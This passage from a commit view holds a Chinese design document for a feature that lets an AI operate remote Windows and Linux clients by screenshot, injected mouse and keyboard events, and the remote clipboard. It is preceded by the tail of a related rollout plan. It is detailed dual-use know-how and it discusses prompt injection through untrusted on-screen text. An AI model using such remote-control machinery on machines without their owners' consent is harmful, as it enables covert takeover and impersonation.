| 无头接管串扰 MFC/Web 路径 | 挂起标记按 `device_id` 唯一;`if (IsPending)` 仅在 MCP 触发时成立,其余路径原样 |
| 共享 `InDeCompressedBuffer` 被覆盖 | 模式 A 在 IO 线程 `MessageHandle` 内同步拷贝,不等异步 |
| 无请求 id 的工具响应串扰 | 每 host 单飞行(§4.4);MCP 与 MFC 各用独立子链接,互不占位(§4.2′) |
| 阻塞 httplib worker 饿死后续请求 | 低频串行可接受;文档显式声明,未来并发改「任务+轮询」(§4.5) |
| 超时/挂死 | 所有工具强制 `wait_for(timeout)` + 迟到回收 |
| 写操作越权 | P3 前三道评审边界(白名单/审计/分组授权)+ `McpReadonly` 默认 1 |
| 一次性大改影响现有功能 | 分 P2a→P2b→P2c→P3a 四期,每期独立合入/验收/回滚 |
| 输出过大拖垮 JSON | `list_files`/进程列表等大结果设上限/分页 |
**回滚策略**:每期改动集中在一两个文件(`McpServer.*` + 可选 `MessageHandle` 若干 `if` 分支),出错 revert 当期 commit 即可,不影响已交付的 P1。
---
## 附:建议执行顺序
1. **P2a**(`search_hosts` + `get_host_detail`)✅ ——纯内存、零风险,已实现,验证「多工具 dispatch」模式。
2. **P2b**(`list_processes` + `list_windows` + `get_activity_history`)✅ ——首次引入**模式 A′ 一次性子链接**(进程/窗口)与**模式 A 主连接 RPC**(历史活动)无头接管,把 §4.2/§4.2′ 的机制跑通并沉淀成 §7 配方。
3. **P2c**(`get_screenshot` 走屏幕预览链路 + `list_files`)✅ ——补上「看」的能力,仍是只读(`get_screenshot` 模式 A、`list_files` 模式 A′)。
4. **P2d**(`list_services` + `get_client_log`)✅ ——补上「看服务 / 看日志」的感知能力,仍是只读(均为模式 A′,复用 P2b/P2c 的一次性子链接机制)。
5. **P3a**(`exec_command`)——首次引入**模式 B 子链接流式**,在 P2 的挂起机制成熟后,走完安全评审再落地写操作。
每完成一期即提交、验收,再进入下一期,保持「有序、平稳、循序渐进」。
+494
View File
@@ -0,0 +1,494 @@
# MCP 远程控制(Remote Control)设计文档
> 版本:v1(设计基线) 状态:待开发 关联:`docs/Mcp_Design.md`、`docs/Mcp_Terminal_Design.md`
> 定位:本文件是「AI 远程控制一台 Windows 或 Linux 客户端(像人一样点鼠标、敲键盘、看画面完成任务)」功能的**唯一参照设计**,后续开发一律以本文为准,改需求先改本文。Linux 支持范围与限制见 §6.5、§12.1。
---
## 1. 背景与目标
### 1.1 问题
现有 MCP 工具只能做「文本/命令行」层面的操作(`exec_command` 一次性命令、`terminal_*` 持久终端、`list_files`/`get_screenshot` 等只读)。很多真实任务只能在 **GUI 上完成**:点按钮、填表单、拖拽窗口、操作只有图形界面的软件。
AI 无法「看懂」视频流。把 25fps 的远程画面直接丢给视觉模型是行不通的——每秒 25 张、每张数十万像素,海量且绝大部分帧对决策无用。
### 1.2 目标
提供一组 MCP 工具,让 AI 以**「截图 → 观察 → 决策 → 注入单个输入动作 → 等待 → 重复」**的闭环驱动远程桌面:
- **Observe(看)**:按需取一帧解码后的位图(JPEG),按视觉模型能力缩放到合适尺寸。
- **Act(动)**:注入鼠标/键盘事件,复用现有远程桌面的输入注入链路。
- **Decide(想)**:由 AI/宿主(Claude Code / 任何 MCP 客户端)在工具返回结果之上编排循环——**YAMA 只提供原语,不提供黑盒 `perform_task`**(与终端设计同一哲学)。
### 1.3 关键设计决策(已确认)
| # | 决策 | 理由 |
|---|---|---|
| D1 | **截图驱动,非视频流** | 每次决策一张图,3–8s/步;视觉模型天然面向静态图 |
| D2 | **原语 + AI 编排,非黑盒任务** | 可控、可审、可中断;AI 在循环外可插判断/确认 |
| D3 | **归一化坐标(0..1)** | 彻底规避「截图缩放 vs 注入物理像素」的比例错位(最佳实践第一大坑) |
| D4 | **复用现有注入链路** | `COMMAND_SCREEN_CONTROL` + `MSG64` + 客户端 `SendInput` 已成熟 |
| D5 | **Observe 复用 `get_screenshot`** | 主连接按需抓 JPEG,无需常驻子连接,最省 |
| D6 | **独立开关 + 全程审计** | 与终端同级:`McpRemoteControl=1 && McpReadonly=0`,默认关 |
---
## 2. 行业最佳实践借鉴
本节是「科学设计」的依据,逐条落到下文对应章节。主要参考 Anthropic 官方 Computer Use / Browser Use 最佳实践与参考实现(见文末「参考」)。
| 最佳实践 | 本设计落地 |
|---|---|
| 视觉模型是「规划者+眼睛」,宿主是「手」;工具调用=动作,返回=截图 | §3 循环归属:YAMA=手,AI=规划者 |
| **客户端先自行缩图**,绝不让模型 API 静默缩放(否则坐标系统性偏移) | §5:客户端按 `max_width` 缩图后 JPEG 回传,模型见到的就是声明尺寸 |
| 声明 `display_width/height` 必须 == 实际发送的图尺寸 | §7:归一化坐标,服务器侧映射物理像素,不依赖声明尺寸 |
| 动作原语集合(move/click/drag/scroll/type/key/…) | §4:`remote_mouse`/`remote_keyboard` 的动作枚举对齐 |
| 文本指令放在截图**之前**(内容顺序) | §8/宿主侧建议:由 MCP 客户端保证,本文仅记录 |
| 缩图上限:长边 ~1568px、总像素 ~1.15MP(Claude 4.6 系);推荐 1280×720 | §5.3:`max_width` 默认建议 1280,可配 |
| 输入注入 vs 高危动作:不可逆操作应人工确认(human-in-the-loop) | §9.4:审计 + 宿主确认,YAMA 不做每动作确认(防延迟) |
| 提示注入是首要风险(模型处理不可信 UI 文本) | §9.5:全审计 + 只读关才可用 + 建议宿主隔离 |
| 长会话上下文管理(滚动缓冲/压缩) | §3:宿主职责,本文提示 |
---
## 3. 总体架构
```
┌──────────────────── 宿主(Claude Code / MCP 客户端)────────────────────┐
│ 系统提示(含远程控制约定) + 任务文本 │
│ ↓ │
│ ┌──────────────────────── 智能体循环 ─────────────────────────┐ │
│ │ get_screenshot(max_width) ──→ 视觉模型看图 ──→ 决策 ──→ │ │
│ │ remote_mouse/remote_keyboard(归一化坐标/文本) ──→ 等待0.5–2s │ │
│ │ 循环,直到任务完成或模型判定需用户介入 │ │
│ └────────────────────────────────────────────────────────────┘ │
└───────────────────────────────┬───────────────────────────────────────┘
│ JSON-RPC over HTTP POST /mcp (Bearer)
┌───────────────────────────────▼───────────────────────────────────────┐
│ YAMA 服务器(McpServer.cpp) │
│ · get_screenshot:COMMAND_SCREEN_PREVIEW_REQ → 客户端缩图 JPEG │
│ · remote_open:COMMAND_SCREEN_SPY → 建立屏幕子连接(控制会话) │
│ · remote_mouse/remote_keyboard:归一化→物理像素 → MSG64 → │
│ COMMAND_SCREEN_CONTROL(经屏幕子连接) │
└───────────────────────────────┬───────────────────────────────────────┘
│ 主连接(控制)+ 屏幕子连接(注入)
┌───────────────────────────────▼───────────────────────────────────────┐
│ 客户端(ClientDll / ScreenManager / ScreenPreview) │
│ · CaptureAndEncodePreview:抓主屏 + StretchBlt 缩图 + JPEG │
│ · ScreenManager.ProcessCommand:解码 MSG64 → SendInput │
└───────────────────────────────────────────────────────────────────────┘
```
**核心事实(已核实,见 §13 源码索引)**:
- **Observe** 走**主连接**、无子连接、无需控制模式:`COMMAND_SCREEN_PREVIEW_REQ`(247) → 客户端抓主屏缩图 JPEG → `TOKEN_SCREEN_PREVIEW_RSP`(248)。现有 `get_screenshot` 已完整实现。
- **Act(注入)必须走屏幕子连接**:`COMMAND_SCREEN_CONTROL`(20) 只能经 `COMMAND_SCREEN_SPY`(16) 建立的子连接发送(`hub.go` 注释:input events MUST go through the sub-connection)。故需要一个 `remote_open` 建立/持有该子连接。
- 服务器端同时维护一张**原始 BGRA 32bpp DIB**(`m_BitmapData_Full`),但 MCP 的 `get_screenshot` **不使用**它——它拿的是客户端已编码的 JPEG。两者坐标空间不同,见 §7。
---
## 4. 工具集设计
### 4.1 工具清单
| 工具 | 作用 | 入参(required 标注) | 出参 |
|---|---|---|---|
| `get_screenshot`(**已有,复用**) | Observe | `id`;可选 `max_width`(64..1920) | JPEG 图片(见 §5) |
| `remote_open` | 建立控制会话(屏幕子连接) | `id`;可选 `timeout_ms` | `session_id`(32hex)、`screen_w`/`screen_h`(物理虚拟桌面像素) |
| `remote_close` | 关闭会话 | `id`、`session_id` | `closed`(bool) |
| `remote_mouse` | 注入鼠标 | `id`、`session_id`、`action`、`x`、`y`(+ 按 action 需 `x2`/`y2`/`button`/`delta`/`clicks`) | `{}`(成功即空对象) |
| `remote_keyboard` | 注入键盘 | `id`、`session_id`、`action`(+ 按 action 需 `text`/`key`/`modifiers`) | `{}` |
> 命名对齐现有 `terminal_*`(open/exec/close),Observe 沿用 `get_screenshot` 避免重复造轮子。鼠标/键盘各一个工具、用 `action` 枚举区分具体动作——既对齐 Anthropic 的 `computer` 工具动作集,又贴合现有 `WebService::HandleMouse/HandleKey` 的「鼠标/键盘分家」实现。
### 4.2 `remote_mouse` 动作枚举
| action | 参数 | 语义 |
|---|---|---|
| `move` | `x`,`y` | 移动光标(不按键) |
| `down` | `x`,`y`,`button`(left/middle/right) | 按下 |
| `up` | `x`,`y`,`button` | 抬起 |
| `click` | `x`,`y`,`button`(默认 left)、`clicks`(1/2/3,默认 1) | 单击/双击/三击 |
| `right_click` | `x`,`y` | 右键(`click` 的便捷别名) |
| `middle_click` | `x`,`y` | 中键 |
| `drag` | `x`,`y`,`x2`,`y2`,`button`(默认 left) | 从 (x,y) 拖到 (x2,y2) |
| `scroll` | `x`,`y`,`delta`(+/- 滚动量)、`button`(可选,垂直默认) | 滚轮 |
### 4.3 `remote_keyboard` 动作枚举
| action | 参数 | 语义 |
|---|---|---|
| `type` | `text` | 输入一串文本(字符级映射,非粘贴) |
| `key_down` | `key`、`modifiers`(可选) | 按下组合键(如 `Ctrl`+`C`) |
| `key_up` | `key`、`modifiers`(可选) | 抬起 |
| `key_press` | `key`、`modifiers`(可选) | 按下并抬起(最常用) |
`key` 取值对齐 Windows 虚拟键名(`VK_*` 去掉前缀,如 `ENTER`/`TAB`/`F5`/`LEFT`)与常见修饰键 `CTRL`/`ALT`/`SHIFT`/`WIN`。`type` 文本中的字符经客户端 `VkKeyScan`/Unicode 注入映射为键盘事件(非剪贴板粘贴,保证焦点内输入)。
### 4.4 可选/扩展工具(`remote_clipboard`、`remote_focus_window` 为 §17 代聊实验所需,建议随阶段一落地)
- `remote_clipboard`:写远程剪贴板(UTF-8→Unicode),非 ASCII 文本输入的关键路径;复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8 逻辑或新增 UTF-8 设剪贴板命令(§6.4)。
- `remote_focus_window`:`COMMAND_SCREEN_WINDOW`(153) / 客户端 `SetForegroundWindow`,把焦点给到指定窗口(配合 `list_windows` 的 `hwnd`);代聊第一步。
- `remote_cursor_position`:读当前光标(`TOKEN_NEXTSCREEN` 帧头已带 `POINT cursor`)。
- `remote_screenshot`(会话内/窗口抓屏):从子连接 DIB 服务端缩图,或按窗口抓取(`COMMAND_SCREEN_WINDOW`),供高分辨率读聊天文字与多显示器场景(§12 阶段二、§17)。
---
## 5. 屏幕捕获与编码(Observe)
### 5.1 现有链路(复用)
`get_screenshot`(`McpServer.cpp` `BuildGetScreenshot`,~1597)已实现:
1. `ParseHostIdArg` → `FindMainContext` → 能力门 `ctx->SupportsScreenPreview()`(`CLIENT_CAP_SCREEN_PREVIEW`,不支持 → `-32005`)。
2. `BeginPending(devId,"get_screenshot")` 设备级互斥(忙 → `-32003`)。
3. `reqId = NextPreviewReqId()`;`SetPendingReqId(devId, reqId)`(stale-drop 机制)。
4. `parent->ChooseScreenPreviewParams(...)` 按 RTT/FRP 自适应缩图档位 + `max_width` 覆盖(clamp 64..1920)。
5. `SendScreenPreviewRequest` → `COMMAND_SCREEN_PREVIEW_REQ`。
6. `WaitPending` 收 `[ScreenPreviewRspHeader][JPEG]`,校验 `status==OK && format==JPEG`。
7. base64 JPEG 返回:`structuredContent.image = {mimeType:"image/jpeg", width, height, bytes}`,`content=[{type:"image", data:<base64>, mimeType:"image/jpeg"}]`。
客户端 `CaptureAndEncodePreview`(`client/ScreenPreview.cpp:107`)抓**主屏** + `StretchBlt`(HALFTONE) 缩图 + GDI+ `Bitmap::Save` JPEG——**位图永不离开客户端,只回传 JPEG**。
### 5.2 缩放策略(对齐最佳实践 D5)
- 缩图在**客户端**完成(`max_width` 长边约束),服务器/MCP 宿主**不再二次缩放**,模型看到的就是声明尺寸——避免「模型 API 静默缩放导致坐标漂移」这个头号坑。
- `max_width` 由宿主按视觉模型能力显式传入;YAMA 提供**默认建议 1280**(长边),上限维持 1920。
### 5.3 推荐参数
| 项 | 建议值 | 说明 |
|---|---|---|
| `max_width`(长边) | 1280(默认)/ 1568(上限) | 1280×720 ≈ 80% 像素预算、训练常见分辨率 |
| 编码 | JPEG,quality ~70–85 | 客户端 `jpegQuality` 已有,按 `ChooseScreenPreviewParams` 自适应 |
| 返回 | base64 `image/jpeg` | 已实现 |
---
## 6. 输入注入(Act)
### 6.1 协议(复用,已核实)
- **包格式**:`[cmd:1][MSG64:48]`,可批量重复(`commands.h` `COMMAND_SCREEN_CONTROL=20`,`MSG64` 1581–1623)。
- **MSG64 布局**:`{uint64 hwnd, message, wParam, lParam, time; POINT pt;}` = 48 字节(`_WIN64` 下 `MYMSG` 即 `MSG`;客户端亦接受 28 字节 `MSG32`,由 `ulLength % 28/48` 判定)。
- **一条一包(重要)**:协议允许一包多消息,Windows 客户端也支持(`ProcessCommand` 按 `ulLength % 48 / % 28` 算出条数后逐条处理);但 Linux 客户端(`linux/ScreenHandler.h` `OnReceive`)**只处理包内第一条**。服务端因此统一按「一条 MSG64 一个 `COMMAND_SCREEN_CONTROL` 包」下发(`SendScreenCtrlEvents`):批量下发会让 Linux 上的 `key_press` 只按下不抬起(X11 自动重复)、`click` 只按下、`type` 只打出首字符。对 Windows 客户端完全等价。
- **客户端解码**:`ScreenManager.cpp:1175` → `ProcessCommand(1727)` → `SendInput`:
- 鼠标:坐标取 `LOWORD/HIWORD(lParam)`,`WM_MOUSEMOVE`→`MOUSEEVENTF_MOVE`,`WM_LBUTTONDOWN/UP`→`LEFTDOWN/LEFTUP`,`WM_LBUTTONDBLCLK`→额外 `LEFTDOWN`,`WM_MBUTTONDOWN/UP`,`WM_MOUSEWHEEL`→`MOUSEEVENTF_WHEEL`(`mouseData=GET_WHEEL_DELTA_WPARAM`)。
- 键盘:`wVk=(WORD)wParam`,`wScan=(lParam>>16)&0xFF`,`KEYEVENTF_EXTENDEDKEY` 由 `(lParam>>24)&1`。
### 6.2 服务端可复用实现
`WebService::HandleMouse`(`WebService.cpp:773-865`)与 `HandleKey`(`867-952`)已从 JSON(`type/x/y/button/delta`;`keyCode/down/altKey`)构造 `MSG64` 并 `[COMMAND_SCREEN_CONTROL][MSG64]` 发送。其中 `HandleKey` 已正确处理 `lParam`:repeat=1、`MapVirtualKey` 扫瞄码、扩展键表、Alt 上下文位 29、keyup 位 30–31。
**结论**:`remote_mouse`/`remote_keyboard` 是这两个函数的 MCP 薄封装——先归一化→物理像素,再套用其 `MSG64` 构造逻辑。**不要新写注入协议**。
### 6.3 子连接前置条件(关键约束)
注入**必须**经屏幕子连接:
1. 主连接发 `COMMAND_SCREEN_SPY`(16)(载荷 `{cmd, USING_DXGI|2, ALGORITHM_*, MultiScreen}`,见 `2015RemoteDlg.cpp:8443-8470`)→ 客户端开子连接(`ClientDll.cpp:89-94`)。
2. 客户端回 `TOKEN_BITMAPINFO`(含物理 `BITMAPINFOHEADER`:`biWidth/biHeight`)——**这是归一化坐标映射所需的物理分辨率来源**。
3. 服务器发 `COMMAND_NEXT`(30) 开始流/允许控制。
4. `GetScreenContext(device_id)`(`WebService.cpp:2084`)从 `m_ScreenContexts` 取该子连接上下文。
> 实现提示:上述 1–4 的建立/持有逻辑**耦合在 `CScreenSpyDlg`(隐藏对话框)里**——子连接、帧 DIB、`TOKEN_BITMAPINFO` 处理都由它完成。MCP 的 `remote_open` 应复用 `WebService::StartRemoteDesktop`(1725) 的「隐藏对话框」路径,而非另造无对话框持有者(§13.2)。
`remote_open` 即上述 1–4 的封装;`screen_w/screen_h` 取自 `TOKEN_BITMAPINFO`。
### 6.4 文本输入:ASCII 直注 vs 非 ASCII 走剪贴板
`remote_keyboard` 的 `type` 走物理键事件(`wVk`/`wScan` → `SendInput`),只能可靠注入 ASCII/ANSI 字符——**中文等非 ASCII 文本无法靠模拟键盘键入**(需 IME 组合,键事件层面做不到)。
非 ASCII 文本的可靠路径是**剪贴板 + 粘贴**:
- 服务器设远程剪贴板命令 `COMMAND_SCREEN_SET_CLIPBOARD`(25),包 `[cmd:1][text:N]`,经屏幕子连接发送;客户端 `UpdateClientClipboard`(`ScreenManager.cpp:1223/1599`)落到剪贴板。
- 随后 `remote_keyboard` 注入 `Ctrl+V` 粘贴、`Enter` 发送。
- **编码注意(已核实)**:`UpdateClientClipboard` 用 `SetClipboardData(CF_TEXT,...)`——ANSI/GBK 格式(`CF_TEXT`,非 `CF_UNICODETEXT`)。MVP 下中文可经 `ToAnsi(utf8, 936)` 转 GBK 后直发(与终端命令同模式);但 emoji/非 GBK 字符会丢、部分新式聊天软件粘贴偏好 Unicode。更稳做法是复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→Unicode→`CF_UNICODETEXT` 逻辑(`KernelManager.cpp:1573-1587`,且已内置「设完剪贴板后自动模拟 Ctrl+V」),或新增一个 UTF-8 设剪贴板变体。见 §17 实验案例。
### 6.5 Linux 客户端(`RES_CLIENT_TYPE=LNX`)
服务端路径与 Windows 完全一致(`COMMAND_SCREEN_SPY` → `TOKEN_BITMAPINFO` → `COMMAND_SCREEN_CONTROL`),差异都在客户端(`linux/ScreenHandler.h`,本轮**未改客户端**):
- **注入**:走 XTest(`XTestFakeMotionEvent` / `XTestFakeButtonEvent` / `XTestFakeKeyEvent`),需要 `libXtst` 与可用的 X 连接(X11 或 XWayland)。
- **按键映射**:`VKtoKeySym` 把 Windows VK 映射为 X11 keysym 后 `XKeysymToKeycode`。支持 A–Z、0–9、小键盘、F1–F12、方向键/编辑键、修饰键(`VK_SHIFT→Shift_L`、`VK_CONTROL→Control_L`、`VK_MENU→Alt_L`、`VK_LWIN→Super_L`)与 OEM 标点;**F13–F24 与 `VK_APPS` 无映射**(消息被忽略,不报错)。
- **滚轮**:客户端收到 `WM_MOUSEWHEEL` 后按 120 的倍数换算成 Button4/Button5 的按放对,单条消息即可(服务端 `scroll` 只发一条)。
- **剪贴板**:服务端按 GBK 下发(与 Windows 相同),Linux 客户端 `ClipboardHandler::SetTextRaw` 检测编码并用 iconv 转 UTF-8 后写 `xclip -selection clipboard`;需要 `xclip` 或 `xsel`。非 GBK 字符(emoji)在服务端就已变成 `?`,Linux 侧无法挽回。
- **分辨率**:`TOKEN_BITMAPINFO` 的尺寸取自 root window,与服务端归一化坐标一致;多显示器判定依赖客户端心跳的 `RES_RESOLUTION`(`xrandr` 才能拿到显示器数),无 `xrandr` 时上报 `0:0*0`,服务端按「无法判定」放行。
---
## 7. 坐标约定与映射
### 7.1 归一化坐标(D3)
- AI 在**所有鼠标动作**里输出 **0..1 浮点**:`x = 目标横向比例,y = 目标纵向比例`,相对**它看到的那张截图**。
- 服务器侧映射:`phys_x = round(norm_x * screen_w)`、`phys_y = round(norm_y * screen_h)`,其中 `screen_w/h` 是 `remote_open` 时从 `TOKEN_BITMAPINFO` 得到的**物理捕获分辨率**。
- 好处:无论 `max_width` 怎么缩、显示器多大,AI 永远只说「在图的 40%/60% 处点一下」,比例错位风险为零。
### 7.2 坐标空间一致性(最重要正确性点)
Observe(`get_screenshot` 抓**主屏**)与 Act(`SendInput` 绝对坐标在**虚拟桌面**空间)默认不同源。**阶段一只支持单显示器**:主屏 == 虚拟桌面,两者重合,映射严格正确。
多显示器(`MultiScreen`)在**阶段二**处理:届时 Observe 必须改抓**整个虚拟桌面**(而非主屏),`screen_w/h` 用虚拟桌面尺寸,归一化坐标才继续成立。**在阶段二落地前,`remote_open` 对多显示器配置应返回显式错误或降级为主屏**(见 §12)。
### 7.3 边界与钳制
- 归一化值越界(`<0` 或 `>1`)→ 钳制到 `[0,1]` 或返回 `-32602`(建议钳制,模型偶发 `1.0001`)。
- `phys_x/y` 不得越过 `screen_w/h`,注入前 `clamp(0, screen_w-1)`。
---
## 8. 控制会话状态机
### 8.1 生命周期
```
remote_open ──► 建立子连接 ──► [remote_mouse/remote_keyboard × N + get_screenshot × M]
│ │
└──(busy 互斥 / idle 回收 / 断线清理)──────────┴──► remote_close(幂等)
```
### 8.2 状态与不变量(镜像 `docs/Mcp_Terminal_Design.md` §并发)
- **单设备单控制会话**:`remote_open` 对已存在会话 → `-32003`(忙)。
- **互斥**:同一设备上,MCP 远程控制会话与**人类远程桌面观看**(`m_ScreenContexts` 已被占用)互斥——`remote_open` 发现已有屏幕子连接 → `-32003`,避免 AI 向人类正在观看/控制的画面注入。`remote_mouse/keyboard` 要求 `session_id` 匹配且会话未关闭。
- **busy 标志**:一条注入在飞时 `busy=true`,保证等待线程是唯一擦除者(沿用终端的 `m_TermMutex`+`busy` 模式;远程控制建议独立 `m_ScreenCtrlMutex`/`m_ScreenCtrlCv`)。
- **idle 回收**:会话闲置超时(默认 300s)自动关闭并 `CancelIO`(镜像 `SweepIdleTerminals`)。
- **断线清理**:`OfflineProc`/`OnTerminalClosed` 同位置加 `McpServer().OnScreenControlClosed(subCtx)`,防悬空 `subCtx` 被连接池复用(复刻终端设计里发现的第 2 个修复点)。
- **锁外 `CancelIO`**:所有取消动作在锁外执行(终端的 P2 教训)。
### 8.3 并发(P5 教训)
`httplib` 多线程并发处理请求;`remote_mouse` 会高频调用。会话状态一律 `m_ScreenCtrlMutex` 串行化,**不要假定请求串行**。高频注入可加**节流**(沿用 `SendScaledMouseMessage` 的鼠标移动节流思路,`ScreenSpyDlg.cpp:2728-2743`)。
---
## 9. 安全模型
延续既有「可控、可关、可审、可隔离」原则(与终端同级):
### 9.1 开关与门控
- 新增 `McpRemoteControl`(默认 **0=关**)。
- `remote_*` 生效条件:`McpRemoteControl=1 && McpReadonly=0`,否则 `-32006`。
- `get_screenshot` 是只读工具,不受此门控,仍仅受现有能力门(供纯观察场景)。
### 9.2 全程审计
每条 `remote_open/close/mouse/keyboard` 调用 → `PostMessageA(WM_SHOWERRORMSG, ...)` → `m_MessageLog` → `get_audit_log` 可查(复用 `McpServer.cpp:2050` 的审计模式,标题 `MCP远程控制`,标记「不可关闭」)。审计内容含:设备 id、动作、归一化坐标与换算后的物理坐标、session_id、时间戳。
### 9.3 会话级鉴权
- `session_id` 由 `GenerateRandomToken()`(32hex),每次 `remote_open` 独立随机,防串用(镜像终端 P6)。
- 注入工具校验 `session_id` 归属与设备匹配,不匹配 → `-32002`。
### 9.4 不可逆操作与人工确认
- YAMA **不做逐动作确认**(会引入每步 0.5s+ 延迟,破坏闭环节奏)。
- 高危动作(提交表单、删除、付款、改系统设置)的确认由**宿主/AI 编排层**负责(Claude Code 的权限系统 / 系统提示约定「不可逆操作前暂停询问用户」)。本文记录此分工;YAMA 提供审计留痕兜底。
### 9.5 提示注入(Prompt Injection)
视觉模型会读到客户端屏幕上的**不可信 UI 文本**,存在注入风险。缓解:远程控制本身即高危能力(默认关 + 只读关才开 + 全审计);建议宿主将远程控制会话隔离在独立权限域,并对「屏幕文本里的指令」保持怀疑。YAMA 侧不做内容分类(无意义且加延迟),记录即可。
---
## 10. 错误码
沿用现有约定(`BuildError(id, code, msg)`):
| code | 含义 | 触发 |
|---|---|---|
| -32602 | 参数非法 | action 未知、必填参数缺失、`max_width` 越界、归一化值格式错 |
| -32000 | 通用失败 | 未分类错误 |
| -32001 | 超时 | `remote_open` 等子连接/`get_screenshot` 等帧超时 |
| -32002 | 设备/会话不存在 | `id` 无在线主机、`session_id` 不存在或不匹配 |
| -32003 | 设备/会话忙 | 已有控制会话、人类远程桌面占用、`get_screenshot` 在飞 |
| -32004 | 发送失败 | 注入命令发送失败 |
| -32005 | 能力不支持 | 客户端无 `CLIENT_CAP_SCREEN_PREVIEW`(Observe)/ 不支持屏幕控制(Act)/ **多显示器主机(阶段一)** |
| -32006 | 被开关禁用 | `McpRemoteControl=0` 或 `McpReadonly=1` |
---
## 11. 配置项
新增 1 项(`THIS_CFG` `settings` 节,键名沿用蛇形):
| 键 | 默认 | 说明 |
|---|---|---|
| `McpRemoteControl` | `0` | 远程控制开关;要求 `McpReadonly=0` 才生效 |
其余沿用:`McpEnabled`/`McpPort`/`McpBind`/`McpToken`/`McpReadonly`/`McpTerminal`/`McpCmdWhitelist`。改动需重启生效(与终端一致)。
---
## 12. 已知限制与后续扩展
### 12.1 阶段一(本期)
- **单显示器**:Observe 抓主屏,坐标空间与虚拟桌面重合;多显示器 `remote_open` 显式报错(`-32005`,能力限制而非参数错误)。
- 注入基于**绝对坐标** `SendInput`,要求客户端处于可注入的桌面会话(已登录、非锁屏/非 UAC 安全桌面);锁屏/UAC 提示场景注入无效(客户端 `SendInput` 限制),设计文档记录为已知限制。
- **Linux 专属限制**(§6.5):纯 Wayland 会话不支持(需 X11/XWayland);需 `libX11`+`libXtst`,剪贴板需 `xclip`/`xsel`;F13–F24、`VK_APPS` 无 keysym 映射;非 ASCII 文本仍只能走剪贴板。
- **代聊实验使能项**:窗口抓屏(`COMMAND_SCREEN_WINDOW`)、UTF-8 剪贴板、窗口聚焦随阶段一落地(§17)。
### 12.2 阶段二(后续)
1. **多显示器虚拟桌面捕获**:`get_screenshot` 增加虚拟桌面抓屏,或新增 `remote_screenshot` 从子连接 DIB 服务端缩图(复用 `BmpToJpeg`/`CacheThumbnail` GDI+ 路径),使 Observe/Act 同源。
2. **窗口定向**:`remote_focus_window`(复用 `COMMAND_SCREEN_WINDOW` + 客户端 `SetForegroundWindow`)。
3. **光标读取 / 剪贴板**。
4. **服务端缩图**:从 `m_BitmapData_Full`(BGRA DIB)直接按 API 上限缩图编码,进一步省客户端往返。
---
## 13. 改动清单(供实现参照)
> 行号以当前树为准(实现前请 grep 复核)。新增/改动尽量「复用」而非「重写」。
### 13.1 `server/2015Remote/McpServer.h`
- 新增 `struct ScreenCtrlSession`(仿 `TermSession`):`sessionId`、`deviceId`、`busy`、`started`、`closed`、`lastActiveAt`、`screenW/screenH`(来自 `TOKEN_BITMAPINFO`)、`subCtx` 引用。
- 新增方法:`SetRemoteControlEnabled/IsRemoteControlEnabled`、`BeginScreenCtrlOpen/…/CloseScreenCtrlSession/SweepIdleScreenCtrl`、`OnScreenControlClosed(context*)`、`ResolveScreenCtrlSessionHost`。
- 新增成员:`bool m_remoteControlEnabled=false;` 及 `std::mutex m_ScreenCtrlMutex; std::condition_variable m_ScreenCtrlCv; std::map<context*,uint64_t> m_ScreenCtrlContextToDevice; std::map<uint64_t,ScreenCtrlSession> m_ScreenCtrlSessions;`(或复用 WebService 的 `m_ScreenContexts` 生命周期,见下)。
### 13.2 `server/2015Remote/McpServer.cpp`
- 新增 4 个 schema 构建器 + 3 个 handler:`BuildRemoteOpen/Close/Mouse/Keyboard`(镜像 `BuildTerminalOpen` 等,`BuildToolsListResult` ~1278 后加条目,`BuildToolsCall` ~2124 加分派)。
- `remote_open`:`SweepIdleScreenCtrl` → `ResolveScreenCtrlSessionHost` → 已有会话 `-32003` → `GenerateRandomToken` → **复用 Web 远程桌面的会话建立路径 `WebService::StartRemoteDesktop`(1725)**(发 `COMMAND_SCREEN_SPY` → 以 `SW_HIDE` 打开隐藏 `CScreenSpyDlg` 持有子连接 → 客户端子连接到达 → `RegisterScreenContext` 记入 `m_ScreenContexts`)→ 等 `TOKEN_BITMAPINFO` 取 `screenW/H` → `COMMAND_NEXT` → 审计 → 返回 `{session_id, screen_w, screen_h}`。**注意:屏幕子连接/帧 DIB/`TOKEN_BITMAPINFO` 处理都与 `CScreenSpyDlg` 耦合,不要另造无对话框持有者——沿 Web 的隐藏对话框路径是低风险正解。**
- `remote_mouse/keyboard`:`ResolveScreenCtrlSessionHost` → 校验 `session_id`/`busy` → 归一化→物理像素(`round(norm * screenW/H)` + clamp)→ **复用 `WebService::HandleMouse/HandleKey` 的 `MSG64` 构造**(或抽取成共享 helper `BuildMouseMsg64/BuildKeyMsg64`,避免 MCP 与 Web 两处重复)→ `subCtx->Send2Client([COMMAND_SCREEN_CONTROL][MSG64])` → 审计。
- `remote_close`:幂等 `CloseScreenCtrlSession`(不存在 → `{closed:true}`;sid 不匹配 → `-32002`)→ 锁外 `CancelIO` → 审计。
- `OnScreenControlClosed`:镜像终端修复点——空闲会话直接擦路由+会话,busy 会话唤醒等待线程由其清理。
- `SweepIdleScreenCtrl`:镜像 `SweepIdleTerminals`(`difftime` 防时钟回拨)。
### 13.3 `server/2015Remote/McpSettingsDlg.h/.cpp`
- 新增复选框 `IDC_MCP_REMOTECONTROL = 1008`,文案 `_TR("启用远程控制(AI 操控桌面)")`;回填/落盘 `McpRemoteControl`;对话框高度 +30。
### 13.4 `server/2015Remote/2015RemoteDlg.cpp`
- 启动读配置处加 `McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings","McpRemoteControl",0)!=0);`。
- `OfflineProc` 加 `if (McpServer().IsRunning() && McpServer().IsScreenCtrlContext(ContextObject)) McpServer().OnScreenControlClosed(ContextObject);`(复刻终端修复点)。
### 13.5 语言文件
- 沿用终端约定:MCP 相关文案本就在 `lang/*.ini` 无条目(`_TR` 对未命中键原样返回中文)。若日后翻译,用 **GBK 工具**改 `lang/{en_US,zh_TW}.ini`(ANSI/GBK,**不能用 Write/Edit 直接写**)。
---
## 14. 关键点(实现时务必遵守)
- **P1(坐标一致性,最重要)**:归一化坐标映射所用 `screenW/H` 必须与**当前截图来源的分辨率**一致。阶段一单屏下 `TOKEN_BITMAPINFO` 的主屏尺寸 == 截图主屏物理尺寸,才成立;任何「用虚拟桌面尺寸映射主屏截图」都会造成系统性偏移(最佳实践第一大坑)。
